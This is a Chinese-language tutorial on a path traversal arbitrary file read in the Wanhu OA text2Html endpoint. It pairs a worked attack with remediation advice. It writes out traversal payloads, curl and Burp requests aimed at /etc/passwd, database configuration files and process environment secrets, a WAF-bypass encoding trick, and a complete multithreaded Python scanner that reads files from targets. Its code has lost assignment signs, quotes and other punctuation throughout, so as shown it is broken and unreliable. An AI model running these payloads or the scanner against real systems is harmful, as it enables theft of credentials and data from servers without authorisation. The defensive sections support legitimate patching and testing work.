路径遍历漏洞深度解析:从原理到自动化检测实战
1. 项目概述从“万户OA text2Html”漏洞说起最近在梳理一些历史OA系统的安全风险时又遇到了“万户OA”这个老朋友。这次要聊的是一个相对经典但危害不小的漏洞通过text2Html接口实现的任意文件读取。简单来说攻击者可以利用这个接口未经授权读取服务器上的敏感文件比如数据库配置文件、系统日志、甚至源码文件。这就像你家的防盗门有个不起眼的猫眼但设计缺陷导致从外面用根铁丝就能把整个门锁结构看得一清二楚风险不言而喻。这个漏洞的核心在于text2Html功能模块对用户输入的文件路径参数缺乏有效的过滤和校验。万户OA作为一个广泛使用的协同办公平台其早期版本在文件处理逻辑上存在缺陷攻击者可以构造特殊的路径参数如../../../../etc/passwd让系统误以为这是合法的转换请求从而将指定文件的内容以HTML格式返回。对于安全研究人员和运维人员而言理解这个漏洞的成因、掌握手工复现的方法并拥有一套可靠的检测脚本是进行内部资产风险排查和应急响应的基本功。本篇文章将从一个实战者的角度带你彻底拆解这个漏洞。我们不仅会还原漏洞触发的完整路径解释其背后的代码逻辑还会分享我手工测试时用到的技巧和踩过的坑。更重要的是我会提供一个我优化过的Python检测脚本它不仅能快速判断目标是否存在此漏洞还能安全、可控地验证漏洞的有效性并生成清晰的报告。无论你是刚入门的安全爱好者还是负责企业安全的工程师这篇文章都能给你带来可直接上手的干货。2. 漏洞原理深度剖析text2Html接口为何失守要理解这个漏洞我们得先看看text2Html这个功能是干什么的。在OA系统中经常需要将一些文本内容如来自文档、表格的数据转换为HTML格式以便在浏览器中富文本展示。一个典型的应用场景可能是用户上传了一个.txt文件系统需要读取其内容并嵌入到某个HTML模板中生成预览页面。text2Html接口很可能就是负责这个转换过程的。2.1 关键缺陷路径遍历Path Traversal漏洞的根源是“路径遍历”也叫目录穿越。正常情况下这个接口应该接收一个由系统自身生成的、安全的临时文件路径或经过严格校验的文件名。例如用户上传文件后系统将其保存在一个固定的、不可预测的目录下如/upload/2024/05/17/random_filename.txt然后只将random_filename.txt这个文件名传递给text2Html接口接口再基于固定的基础路径去拼接完整路径。然而存在漏洞的实现却可能直接信任了客户端传来的整个文件路径参数。假设接口的请求是这样的http://target.com/oa/text2Html.jsp?file../../../../etc/passwd后端代码可能简单地执行了如下逻辑以Java为例String filePath request.getParameter(file); // 直接获取用户输入 File file new File(baseDir, filePath); // 与基础目录拼接 String content FileUtils.readFileToString(file, UTF-8); // ... 将content转换为HTML并输出这里的baseDir可能被设定为某个上传目录。但当攻击者输入../../../../etc/passwd时File对象会解析这个路径其中的..表示上级目录。连续多个..就会让路径最终跳转到远远超出预定基础目录的位置指向系统根目录下的敏感文件/etc/passwd。注意这只是一个原理性示例。实际漏洞的触发点可能存在于不同的脚本文件中如.jsp,.do,.action参数名也可能不是简单的file可能是fileName,path,url等。这就需要通过代码审计或模糊测试去发现。2.2 漏洞利用的延伸不只是读取成功利用任意文件读取漏洞获得的价值往往远超读取一两个文件本身。它通常是进一步渗透的“信息搜集”阶段利器获取数据库配置读取WEB-INF/classes/jdbc.properties,config.inc.php,web.config等文件直接拿到数据库连接字符串、用户名和密码。分析应用源码读取Java的.class文件虽已编译但可反编译或JSP文件了解程序逻辑寻找更深入的漏洞如SQL注入、反序列化点。获取系统信息读取/proc/self/environLinux可以获取进程环境变量有时会泄露路径、密钥等信息。为其他攻击铺路读取日志文件可能发现其他用户的敏感操作记录或错误信息。理解了这个原理我们就知道修复方案的核心就在于对输入参数进行“规范化”和“校验”。服务器端必须将用户输入的文件名与一个安全的基准目录进行拼接然后使用getCanonicalPath()等方法获取规范化的绝对路径再判断这个绝对路径是否以基准目录的规范路径开头。如果不是则坚决拒绝请求。3. 手工复现与漏洞验证全流程知道了原理我们动手验证一下。手工复现不仅能加深理解也是在自动化脚本失效或环境特殊时必备的技能。整个过程我们遵循“最小影响原则”只读取一些无害但能证明漏洞存在的文件。3.1 环境准备与目标识别首先你需要一个测试目标。请务必只在你自己拥有合法授权测试的环境中进行例如本地搭建的漏洞靶场、公司内部获得书面授权的测试环境。未经授权对他人系统进行测试是违法行为。假设我们已有一个疑似存在漏洞的万户OA系统地址是http://192.168.1.100:8080。第一步信息搜集确定OA版本访问首页查看页脚、帮助页面或JS/CSS文件中的版本信息。不同版本的漏洞路径可能略有差异。寻找疑似接口通过常见的路径字典进行探测。对于万户OA与文件处理相关的接口可能位于/defaultroot/目录下。我们可以使用dirsearch或gobuster等工具配合字典包含text2Html,fileOperate,download,upload等关键词进行扫描。# 示例使用 gobuster gobuster dir -u http://192.168.1.100:8080 -w /path/to/wordlist.txt -x jsp,do,action3.2 漏洞探测与手工验证根据经验漏洞点可能出现在类似/defaultroot/text2Html.jsp或/defaultroot/extension/text2Html.jsp的路径下。我们通过浏览器或curl手工测试。尝试1基础路径遍历在浏览器地址栏输入http://192.168.1.100:8080/defaultroot/text2Html.jsp?file../../../../../../../../etc/passwd或者使用curl命令curl -s http://192.168.1.100:8080/defaultroot/text2Html.jsp?file../../../../../../../../etc/passwd观察响应漏洞存在如果返回了/etc/passwd文件的内容通常是包含root:x:0:0:等行的文本则漏洞确认存在。有时内容会被包裹在HTML标签中。漏洞可能不存在或路径错误返回404、500错误或者是一个正常的HTML页面但无文件内容。这时不要轻易放弃需要尝试其他可能性。尝试2参数名变异漏洞参数名可能不是file。常见的参数名还有fileName,path,url,f,src等。我们需要结合Burp Suite这类工具进行更高效的测试。用Burp Suite抓取一个OA系统正常的请求比如访问一个普通页面。发送到Repeater模块。修改请求为GET方法路径设为/defaultroot/text2Html.jsp。在参数栏尝试不同的参数名和路径遍历payload。GET /defaultroot/text2Html.jsp?fileName../../../WEB-INF/web.xml HTTP/1.1 Host: 192.168.1.100:8080 ...尝试3目录定位与常见敏感文件如果直接读取/etc/passwd不成功可能是因为工作目录或基础路径不同。我们可以尝试读取Web应用本身的文件来定位。读取Web根目录下的文件尝试file./index.jsp或fileindex.jsp看是否返回了首页的源码。这能帮助我们确认当前相对路径的基准点。读取Java Web应用配置文件../../WEB-INF/web.xml这是Java Web应用的核心配置文件几乎总能泄露大量信息。../../WEB-INF/classes/jdbc.properties数据库配置文件。../../WEB-INF/classes/config.properties应用配置文件。Windows系统下的测试如果目标是Windows服务器可以尝试读取../../../../windows/win.ini或../../../../boot.ini旧系统等文件。实操心得在手工测试时使用Burp Suite的Intruder模块配合一个包含常见参数名和路径遍历payload的字典进行模糊测试效率会高很多。同时注意观察响应长度和内容的变化一个明显变长且包含特殊字符如property,password,jdbc:的响应很可能就是成功的标志。3.3 漏洞验证的“安全读法”即使确认漏洞存在在验证时也应遵循安全原则避免读取真正敏感的生产数据或造成系统负担。Linux系统优先读取/etc/passwd、/proc/version系统版本或/etc/hostname。这些文件通常不包含敏感密码且能证明漏洞。Java应用读取WEB-INF/web.xml是经典且信息量大的选择但它可能包含内部配置。在授权测试中可以使用在非授权环境中应极度谨慎。绝对不要尝试读取大日志文件、数据库数据文件或执行可能造成拒绝服务的路径遍历如/dev/zero。4. 自动化检测脚本编写与解析手工复现虽然透彻但效率低不适合批量资产排查。下面分享一个我编写并优化过的Python检测脚本。这个脚本的设计目标是高效、准确、安全、友好。4.1 脚本核心设计思路多路径探测不依赖单一的漏洞URL路径内置一个常见的路径字典覆盖text2Html.jsp可能存在的不同位置。智能参数识别除了尝试固定参数名还尝试从错误响应中提取线索并支持用户自定义参数名。安全Payload使用无害的、通用的文件作为检测Payload如/etc/passwd对于Windows则尝试/windows/win.ini并在读取到内容后进行特征匹配避免误报。结果验证与去重对成功的响应进行内容分析确保返回的是目标文件内容而非错误页面。对同一漏洞点去重避免重复报告。报告输出生成结构化的文本报告清晰列出存在漏洞的URL、可读取的文件示例以及风险等级。4.2 Python检测脚本代码详解#!/usr/bin/env python3 万户OA text2Html 任意文件读取漏洞检测脚本 Author: 实战安全研究员 功能批量检测指定目标是否存在相关漏洞并安全验证。 使用python3 check_wanhu_text2html.py -u http://target.com 或 -f targets.txt import requests import sys import argparse from urllib.parse import urljoin from concurrent.futures import ThreadPoolExecutor, as_completed # 避免SSL警告和保持会话 requests.packages.urllib3.disable_warnings() session requests.Session() session.headers.update({ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 }) # 常见的漏洞路径列表 COMMON_PATHS [ /defaultroot/text2Html.jsp, /defaultroot/extension/text2Html.jsp, /text2Html.jsp, /oa/text2Html.jsp, /web/text2Html.jsp, ] # 常见的参数名列表 COMMON_PARAMS [file, fileName, path, url, f, src, filename] # 用于检测的Payload无害文件 # 根据操作系统特征选择Payload LINUX_PAYLOADS [ ../../../../../../../../etc/passwd, ../../../../../../../../proc/self/cmdline, # 通常较短可读 ../../../../../../../../etc/hostname, ] WINDOWS_PAYLOADS [ ../../../../../../../../windows/win.ini, ../../../../../../../../boot.ini, ] # 成功响应的特征用于减少误报 SUCCESS_KEYWORDS { linux: [root:x:, daemon:x:, /bin/bash], windows: [[fonts], [extensions], [mci extensions]] } def detect_os_by_banner(target_url): 尝试通过HTTP响应头或简单请求猜测目标OS try: resp session.get(target_url, timeout5, verifyFalse) server_header resp.headers.get(Server, ).lower() if windows in server_header or iis in server_header: return windows # 其他线索... except: pass return linux # 默认假设为Linux def check_single_url(target_url, vuln_path, param_name, payload): 检测单个URL、参数和Payload的组合 full_url urljoin(target_url, vuln_path) params {param_name: payload} try: resp session.get(full_url, paramsparams, timeout8, verifyFalse) # 基础过滤状态码为200且有内容返回 if resp.status_code 200 and len(resp.content) 20: content_text resp.text # 进一步内容验证检查是否包含预期的成功关键词 os_type windows if win.ini in payload else linux for keyword in SUCCESS_KEYWORDS.get(os_type, []): if keyword in content_text: # 额外过滤避免将错误页面如包含“404”、“Error”的HTML当作成功 if not any(err in content_text.lower() for err in [error, not found, 404, exception]): return True, full_url, param_name, payload, content_text[:200] # 返回前200字符作为样本 except requests.exceptions.RequestException as e: pass # 请求失败视为不可达或无效 return False, None, None, None, None def scan_target(target_url): 扫描单个目标 print(f[*] 开始扫描目标: {target_url}) results [] # 猜测操作系统以选择合适的Payload guessed_os detect_os_by_banner(target_url) payloads WINDOWS_PAYLOADS if guessed_os windows else LINUX_PAYLOADS # 遍历所有可能的路径、参数和Payload组合 for vuln_path in COMMON_PATHS: for param_name in COMMON_PARAMS: for payload in payloads: is_vuln, url, param, pl, sample check_single_url(target_url, vuln_path, param_name, payload) if is_vuln: result { target: target_url, vulnerable_url: url, parameter: param, payload: pl, sample_data: sample } # 去重如果同一个漏洞URL已经发现不再重复添加 if not any(r[vulnerable_url] url for r in results): results.append(result) print(f[!] 发现漏洞: {url}?{param}{pl}) return results def main(): parser argparse.ArgumentParser(description万户OA text2Html 任意文件读取漏洞扫描器) group parser.add_mutually_exclusive_group(requiredTrue) group.add_argument(-u, --url, help单个目标URL) group.add_argument(-f, --file, help包含多个目标URL的文件每行一个) parser.add_argument(-t, --threads, typeint, default5, help并发线程数 (默认: 5)) args parser.parse_args() targets [] if args.url: targets.append(args.url.rstrip(/)) elif args.file: with open(args.file, r) as f: targets [line.strip() for line in f if line.strip()] all_results [] with ThreadPoolExecutor(max_workersargs.threads) as executor: future_to_target {executor.submit(scan_target, target): target for target in targets} for future in as_completed(future_to_target): target future_to_target[future] try: results future.result() all_results.extend(results) except Exception as e: print(f[x] 扫描目标 {target} 时发生异常: {e}) # 生成报告 if all_results: print(\n *60) print(漏洞扫描报告) print(*60) for res in all_results: print(f\n[目标]: {res[target]}) print(f[漏洞地址]: {res[vulnerable_url]}) print(f[利用参数]: {res[parameter]}) print(f[测试Payload]: {res[payload]}) print(f[数据样本]: {res[sample_data]}) print(-*40) print(f\n总计发现 {len(all_results)} 个漏洞点。) else: print(\n[*] 未发现万户OA text2Html任意文件读取漏洞。) if __name__ __main__: main()4.3 脚本使用指南与参数说明安装依赖只需requests库。pip install requests。单目标检测python check_wanhu_text2html.py -u http://192.168.1.100:8080批量目标检测将目标URL列表存入targets.txt每行一个。python check_wanhu_text2html.py -f targets.txt -t 10-t 10指定使用10个并发线程提高扫描效率。结果解读脚本会输出详细的报告包含漏洞URL、利用参数、成功读取的Payload以及文件内容的前200个字符作为样本。样本内容用于人工确认漏洞真实性。注意事项授权测试务必在获得明确授权的范围内使用本脚本。网络环境确保你的网络可以访问目标并注意目标系统的防火墙或WAF规则。性能影响适当控制线程数-t避免对目标服务器造成过大并发压力。误报与漏报脚本通过关键词和错误页面过滤来减少误报但并非100%准确。对于关键系统建议对脚本报出的漏洞进行手工复核。漏报可能由于漏洞路径、参数名不在字典中或WAF拦截导致。Payload扩展如果在内网环境可以修改LINUX_PAYLOADS或WINDOWS_PAYLOADS列表加入更贴合实际环境存在的无害文件路径提高检测率。5. 漏洞修复建议与安全加固复现和检测漏洞的最终目的是为了修复它。如果你负责的系统存在此类漏洞或者你在产品开发中需要避免类似问题以下是具体的修复和加固方案。5.1 临时应急措施如果漏洞正在被利用急需止损WAF/防火墙规则在应用防火墙或网络防火墙上立即添加规则拦截包含../或其URL编码..%2f、..%5c序列的请求到疑似漏洞路径如*text2Html.jsp*。访问控制如果该text2Html接口并非业务必需可以直接在Web服务器如Nginx, Apache或应用层面临时禁用或重定向该URL的访问。文件系统权限检查并确保Web应用进程运行用户对敏感系统目录如/etc,/WEB-INF,/classes等只有最小必要读取权限即使存在路径遍历也无法读取关键文件。5.2 根本性代码修复修复代码是治本之策。核心原则是永远不要信任用户输入的文件路径。方案一白名单校验推荐如果text2Html功能只允许处理特定目录下的特定类型文件使用白名单是最安全的方式。// 假设只允许处理 upload 目录下的 .txt 文件 String userFileName request.getParameter(file); String safeBaseDir /opt/app/upload/; String allowedExtension .txt; // 1. 检查文件名是否合法防止空指针和目录遍历 if (userFileName null || userFileName.contains(..) || userFileName.contains(/) || userFileName.contains(\\)) { throw new SecurityException(Invalid file name.); } // 2. 白名单校验文件扩展名 if (!userFileName.toLowerCase().endsWith(allowedExtension)) { throw new SecurityException(File type not allowed.); } // 3. 构造绝对路径并规范化 File supposedFile new File(safeBaseDir, userFileName); String canonicalPath supposedFile.getCanonicalPath(); String canonicalBaseDir new File(safeBaseDir).getCanonicalPath(); // 4. 关键步骤验证规范化后的路径是否以规范化的基础目录开头 if (!canonicalPath.startsWith(canonicalBaseDir File.separator)) { throw new SecurityException(Access denied.); } // 5. 安全检查通过进行文件操作 if (!supposedFile.exists()) { throw new FileNotFoundException(File does not exist.); } // ... 后续读取文件并转换为HTML ...方案二使用文件ID或临时文件名更好的设计是前端上传文件后后端在安全位置保存文件并生成一个唯一的、不可预测的文件ID如UUID返回给前端。当需要text2Html转换时前端只传递这个文件ID后端根据ID从数据库或缓存中查找对应的真实安全路径。这样完全隔离了用户输入和文件系统路径。5.3 长期安全加固输入验证在所有接收用户输入的地方实施严格的、正面的验证白名单。对于文件路径拒绝任何包含..、/、\等目录跳转字符的输入。最小权限原则运行Web服务的账户如tomcat,www-data应仅拥有对其工作目录的必要读写权限绝不能以root身份运行。安全开发培训让开发人员了解路径遍历、SQL注入、XSS等常见漏洞的成因和修复方法在代码编写阶段就杜绝问题。定期安全扫描与审计将类似本脚本的检测逻辑集成到CI/CD流水线或定期安全扫描中对新版本和现存系统进行自动化漏洞检测。同时定期进行代码安全审计。依赖组件升级关注万户OA官方发布的安全更新和补丁及时将系统升级到已修复漏洞的版本。6. 排查技巧与常见问题实录在实际的漏洞验证和修复过程中你可能会遇到各种“意外”。下面分享一些我踩过的坑和对应的解决思路。6.1 漏洞检测中的常见问题问题1脚本扫描报告漏洞但手工验证时返回404或错误页面。可能原因1会话Session或认证Authentication问题。OA系统可能要求用户登录后才能访问text2Html.jsp。脚本使用的是无状态的requests.Session()可能未携带有效的登录Cookie。解决手工登录系统从浏览器开发者工具中复制Cookie头将其添加到脚本的session.headers中。session.headers.update({Cookie: JSESSIONIDABCDEF1234567890; other_cookievalue})可能原因2WAF或安全设备拦截。你的扫描请求触发了WAF的规则被拦截了。解决尝试降低扫描速度增加请求间隔修改User-Agent为更常见的浏览器标识或者尝试对Payload进行多次URL编码如..%252f..%252f以绕过简单的过滤。问题2可以读取/etc/passwd但读取WEB-INF/web.xml时返回空或乱码。可能原因1路径深度不对。WEB-INF目录通常位于Web应用的根目录下。从漏洞文件到Web根目录的../层级可能需要调整。例如如果漏洞文件在/defaultroot/extension/下而Web根目录是/defaultroot/那么../../WEB-INF/web.xml就能正确回溯。解决使用Burp Suite的Intruder模块对../的数量进行模糊测试从1到10观察响应变化。可能原因2文件编码或权限问题。web.xml是XML文件服务器在读取时可能因编码问题导致输出异常或者应用服务器进程对该文件没有读取权限。解决尝试读取其他已知存在的文件来确认路径。检查响应头的Content-Type看是否是二进制流或被处理过。问题3目标系统是Windows但../../../../windows/win.ini读不到。可能原因1系统盘符问题。Web应用可能部署在D盘或其他非C盘。解决尝试使用绝对路径的Payload如../../../../../../C:/windows/win.ini。但注意很多路径遍历漏洞的解析逻辑在接收到绝对路径时可能会出错或行为不一致需要测试。可能原因2文件不存在或路径有误。新版本的Windows可能没有win.ini或者文件不在默认位置。解决尝试其他通用文件如../../../../windows/system32/drivers/etc/hosts。6.2 漏洞修复后的验证修复代码上线后如何验证漏洞确实被堵上了回归测试使用之前的漏洞利用Payload如?file../../../etc/passwd发起请求。期望的结果应该是返回一个明确的错误页面如400 Bad Request, 403 Forbidden或者返回一个无害的、提示“文件不存在”或“参数错误”的页面绝不能再返回目标文件的内容。边界测试测试一些边界情况输入为空。输入超长字符串。输入各种编码的../如..%2f,..%5c,..\。尝试使用空字节%00截断虽然在高版本Java中已不常见。尝试使用绝对路径。功能测试确保正常的业务功能不受影响。上传一个合法的文本文件测试text2Html转换功能是否依然工作正常。6.3 性能与日志监控修复漏洞后建议在应用层或网络层增加针对此类攻击的日志监控。日志记录在代码的输入验证失败处记录详细的日志包括攻击IP、时间、原始输入参数等。这有助于后续的安全事件分析。监控告警如果短时间内出现大量包含../等敏感字符的请求应触发安全告警。手工复现一个像“万户OA text2Html任意文件读取”这样的漏洞其价值远不止于证明漏洞存在。整个过程迫使你去理解HTTP请求、参数传递、服务器端文件操作、路径解析、操作系统文件系统等一系列知识的交互点。而编写检测脚本则是将手工经验转化为自动化、可重复能力的关键一步它考验了你对漏洞原理的抽象能力、对边界情况的考虑以及代码的稳健性。我个人的体会是对待每一个历史漏洞都不要仅仅满足于运行一个现成的EXP工具。多问几个“为什么”为什么这个参数可控为什么过滤器没生效修复方案为什么这样设计这种追根究底的习惯是安全研究员和普通工具使用者之间最大的区别。最后再分享一个小技巧在编写此类扫描脚本时不妨加入一个“误报检查”模块比如在判断漏洞成功后再用一个肯定不存在的随机文件名如random_nonexistent_12345.txt请求一次如果也返回“成功”或相同长度的内容那很可能之前的判断是误报例如服务器对所有请求都返回一个默认页面。这个小逻辑能帮你过滤掉不少干扰项让结果更可信。